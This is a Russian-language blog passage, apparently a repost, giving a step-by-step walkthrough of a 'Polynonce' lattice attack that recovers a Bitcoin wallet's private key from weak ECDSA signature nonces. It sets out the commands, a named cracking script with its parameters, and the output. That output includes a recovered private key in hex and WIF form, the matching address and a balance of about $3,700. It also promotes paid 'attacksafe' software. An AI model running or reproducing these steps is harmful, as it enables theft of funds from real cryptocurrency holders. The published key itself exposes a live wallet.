Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt

!echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt

Чтобы реализовать атаку мы воспользуемся программным обеспечение

“ATTACKSAFE SOFTWARE”

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

www.attacksafe.ru/software

Права доступа:

!chmod +x attacksafe

ls

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d

Проверим POLYNONCE для каждой подписи ECDSA

https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example1/POLYNONCE.py

Результат:

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

Мы получили четыре одинаковых первоначальных 128 bits

POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826 POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe

Благодаря значение на кривой secp256k1 от Hal Finney  LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" //

Проверим HEX приватного ключа:

Установим модуль bitcoin

!pip3 install bitcoin

Откроем файл: PrivateKeyAddr.txt

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

Откроем bitaddress и проверим:

ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB WIF: L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX HEX: f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

https://blockchair.com/ru/bitcoin/address/1DxzwX4qC9PsWDSAzu...

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

BALANCE: $ 3699.40

Literature:

  • A Novel Related Nonce Attack for ECDSA, Marco Macchetti [Kudelski Security, Switzerland] (2023)

  • Gallant, Robert P., Robert J. Lambert, and Scott A. Wanston. “Faster point multiplication on elliptic curves with efficient endomorphisms” . Annual International Conference on Cryptology, pp. 190–200. Springer, Berlin, Heidelberg, (2001)

  • Hankerson, Darrell, Alfred J. Menezes, and Scott Wanston. “A Guide to Elliptic Curve Cryptography” . Computer Reviews 46, no. 1 (2005)

  • Hal Finney. bitcointalk –  “Acceleration of signature verification” . (2011) https://bitcointalk.org/index.php?topic=3238.0

  • Blahut, Richard E.  “Cryptography and Secure Communication” . Cambridge University Press, (2014)

Исходный код

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/7nKs_KHtyn4

Источник: https://cryptodeep.ru/polynonce-attack

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

Криптоанализ

Показать полностью 19
Отличная работа, все прочитано!